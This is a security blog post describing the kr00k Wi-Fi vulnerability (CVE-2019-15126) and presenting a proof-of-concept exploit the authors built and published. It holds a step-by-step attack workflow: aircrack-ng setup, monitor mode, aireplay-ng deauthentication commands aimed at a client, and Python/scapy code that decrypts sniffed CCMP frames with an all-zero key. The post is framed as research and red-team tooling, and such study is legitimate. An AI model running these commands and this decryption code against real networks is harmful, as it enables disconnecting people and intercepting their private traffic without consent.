r00kie-kr00kie. Exploring the kr00k attack

TL;DR

We created and published a PoC exploit of the kr00k attack (CVE-2019-15126): https://github.com/hexway/r00kie-kr00kie

All technical details can be found in the Process section.

INTRODUCTION AND MOTIVATION

In February 2020, ESET released the KR00K - CVE-2019-15126 SERIOUS VULNERABILITY DEEP INSIDE YOUR WI-FI ENCRYPTION research. The vulnerability works as follows:

  1. The victim connects to a WiFi hotspot
  2. The adversary sends disassociation requests to the client and, by doing so, disconnects the victim from the hotspot
  3. Wireless Network Interface Controllers (WNIC) WiFi chip of the client clears out a session key (Temporal Key) used for traffic decryption
  4. However, data packets, which can still remain in the buffer of the WiFi chip after the disassociation, will be encrypted with an all-zero encryption key and sent.
  5. The adversary intercepts all the packets sent by the victim after the disassociation and attempts to decrypt them using a known key value (which, as we remember, is set to zero)
  6. PROFIT


Figure 1. Not quite obvious, but if you look closely, then it’s a clear diagram that we took from ESET’s whitepaper

The following devices were claimed vulnerable:

  • Amazon Echo 2nd gen
  • Amazon Kindle 8th gen
  • Apple iPad mini 2
  • Apple iPhone 6, 6S, 8, XR
  • Apple MacBook Air Retina 13-inch 2018
  • Google Nexus 5
  • Google Nexus 6
  • Google Nexus 6P
  • Raspberry Pi 3
  • Samsung Galaxy S4 GT-I9505
  • Samsung Galaxy S8
  • Xiaomi Redmi 3S

So, since we have Raspberry Pi 3 ready at hand, let's find out whether Kr00k actually works. Surely, ESET researchers or some community members have already published a PoC, haven't they?

Umm, Google found nothing but a pile of FUDs and an empty GitHub repository.

Ok, let's make it ourselves.

UPDATE: while we were drawing the logo for this publication, Thice Security posted a PoC as well.

RESULTS

The kr00k attack is quite straightforward. So, it didn't take much time for us to write our PoC.

To check whether a device is vulnerable, it'll suffice to run the r00kie-kr00kie.py python script with bssid, channel number, and the victim's mac address used as parameters and to have a bit of patience.

->~:python3 r00kie-kr00kie.py -i wlan0 -b D4:38:9C:82:23:7A -c 88:C9:D0:FB:88:D1 -l 11

DETAILS

After testing this PoC on different devices, we found out that the data of the clients that generated plenty of UDP traffic was the easiest to intercept. Among those clients, for example, there are various streaming apps because this kind of traffic (unlike small TCP packets) will always be kept in the buffer of a WiFi chip.

BTW, here is another couple of devices we've used to prove the attack does work:

  • Sony Xperia Z3 Compact (D5803)
  • Huawei Honor 4X

All in all, now you have another tool you can use during one of your Red Team projects or security assessments of your clients' WiFi networks: https://github.com/hexway/r00kie-kr00kie

Do not forget to have a look at the Process section. There you'll find more details about this PoC development and the way it works.

You are welcome!

TL;DR

Kr00k is an interesting attack; a toolkit for testing for kr00k: https://github.com/hexway/r00kie-kr00kie

As we know from the report, after receiving Deauth packets, vulnerable devices set the session PTK to zero. At the same time, the TX buffer may still contain data that has to be sent to the client. As a result, all data is encrypted with an all-zero key and broadcasted.

It’s not too complicated, let’s take a look at the mechanics of the attack:

  1. Listen to the air and get AP and client addresses
  2. Make sure that there is enough traffic to create queues in the TX buffer of the vulnerable chip
  3. Craft and send deauth management frames to the victim
  4. Sniff all traffic from the air and try to decrypt all data with PTK set to zero
  5. Repeat 3 and 4 until all captured packets are decrypted
  6. ...
  7. PROFIT!

First, let’s configure a test environment.

I used Raspberry pi3 B v 1.2 I had in my backpack. RASPBIAN on it hadn’t been updated for at least 6 months, so the Wi-Fi firmware had to be vulnerable.

For the access point, we used the good old TP-link m13u on Atheros (mustn’t be vulnerable to the attack) OpenWRT installed.

Now let’s configure a wireless network: WPA2/CCMP

Connect Raspberry to the Kr00k-test network. That’s it, our test stand is ready.

On the attacker side, we have to install the latest aircrack-ng (released in January).

sudo apt-get install build-essential autoconf automake libtool pkg-config libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill zlib1g-dev libpcap-dev libsqlite3-dev libpcre3-dev libhwloc-dev libcmocka-dev hostapd wpasupplicant tcpdump screen iw usbutils
git clone https://github.com/aircrack-ng/aircrack-ng

This toolkit has almost everything we need:

  • Airmon-ng for controlling interface mode
  • Airodump-ng for capturing traffic
  • Aireplay-ng for deauthentication

We also need airdecap-ng, which requires some improvements.

A quick 3-step hack:

1) To decrypt data, it uses the PTK value from the st_cur structure, which is filled in during the analysis of the 4-way handshake at the beginning of the session. Then, it is passed to decrypt_ccmp, where the crypto-magic happens.

Since we want to try and decrypt all data packets with an all-zero key, we have to hardcode a zero PTK value.

2) We also have to disable the check for an existing PTK for a current session since we presume that our zero PTK works for any data.

3) Now, we complete the output:

And we put it all back together:

autoreconf -i
./configure
make
sudo make install
ldconfig

So, we can begin.

Set Wi-FI dongle to the monitor mode:

sudo airmon-ng wlan1 start

DOUP! Every time I have the same problem: I can’t guess what comes first – the interface or the command.

Let’s take a look at wireless traffic

sudo airodump-ng wlan1mon


3C:46:D8:82:7B:27 (Kr00k-test) – test network
B8:27:EB:24:21:FE – connected Raspberry PI

The more outgoing traffic is generated by the vulnerable device the easier it is to exploit it. We will use Ncat and generate UDP traffic in the cycle.

for i in {1..10000}; do echo testpayload1234567890 >> testpayload.txt; done
while true; do cat testpayload.txt | ncat -v -u 192.168.1.1; done

We run the sniffer with filters for the AP and fix the adapter on channel 11 to capture everything.

sudo airodump-ng --bssid 3C:46:D8:82:7B:27 -c 11 wlan1mon -w test1.cap

Now, let’s try to deauthenticate the client several times:

sudo aireplay-ng -0 1 -a 3C:46:D8:82:7B:27 -c B8:27:EB:24:21:FE wlan1mon

After 5 connection breakdowns, we stop airodump to see the results:

airdecap-ng -k
1122334455667788990011223344556677889900112233445566778899001122 ./test1.cap-01.cap

-k sets PMK, but since we’ve cracked everything with our patch, we can set any value.

Great! All decrypted packets are saved in test1.cap-01-dec.cap

Some packets have been successfully decrypted with a zero key, and now we have data in plain text.

Dive into it!

Let’s break it down and do everything ourselves using Python.

How WPA-CCMP works?

During the authentication and 4-way handshake a Pairwise Transient Key (PTK) is set that is later used to encrypt data with AES in the CCM mode. Besides the key, a nonce is required to initialize the cipher. It consists of the QoS value, sender address, and packet number (PN).

We use scapy to parse PCAP:

from scapy.all import *
from Crypto.Cipher import AES
from scapy.utils import rdpcap
import re


encPkts = rdpcap('test1.cap-01.cap')
cnt =0

Then, select all frames with CCMP data, compile the nonce, initialize the cipher, and decrypt the data with an all-zero key:

for pkt in encPkts:
 try:
  ccmp = pkt[Dot11CCMP]
 except IndexError:
  pass
 else:
  pn0 = "{:02x}".format(pkt.PN0)
  pn1 = "{:02x}".format(pkt.PN1)
  pn2 = "{:02x}".format(pkt.PN2)
  pn3 = "{:02x}".format(pkt.PN3)
  pn4 = "{:02x}".format(pkt.PN4)
  pn5 = "{:02x}".format(pkt.PN5)
 
  addr2= re.sub(':','', pkt.addr2)
  addr3= re.sub(':','', pkt.addr3)
  qos = '00'
 
  nonce = bytes.fromhex(qos+addr2+pn5+pn4+pn3+pn2+pn1+pn0)
  tk = bytes.fromhex("00000000000000000000000000000000")
 
  cipher = AES.new(tk, AES.MODE_CCM, nonce, mac_len=8)
  plaintext = cipher.decrypt(pkt.data[:-8])

For most normal packets we would get trash results because of the wrong PTK. So, we have to be able to identify correctly decrypted data.

Besides encryption, CCMP enables integrity control by calculating the digest using additional data sets. In our case, it is easier to check correct decryption by the Logical Link Control (LLC) header, which is located in the beginning of decrypted data.


   if plaintext[0:3] == b'\xaa\xaa\x03':
   print ("Got a kr00ked packet!\r\n")
   cnt +=1

If everything is successful, we get Kr00ked data, then save it in PCAP, simultaneously converting the LLC header into Ethernet header; we get the information on sender and receiver addresses from the original 802.11 frame.


   type = plaintext[6:8]
   ethHdr = bytes.fromhex(addr3 + addr2) + type
   outPkt = ethHdr + plaintext[8:]
   wrpcap('result.pcap', outPkt, append=True)

Finally, we print the count of successfully decrypted packets:

print("kr00ked packets cnt:", cnt)

With a functioning PoC, we have enriched the functionality of the script with a built-in sniffer and deauthenticator

and now we have r00kie-kr00kie – a kr00k testing toolkit

Try Hexway online

Related posts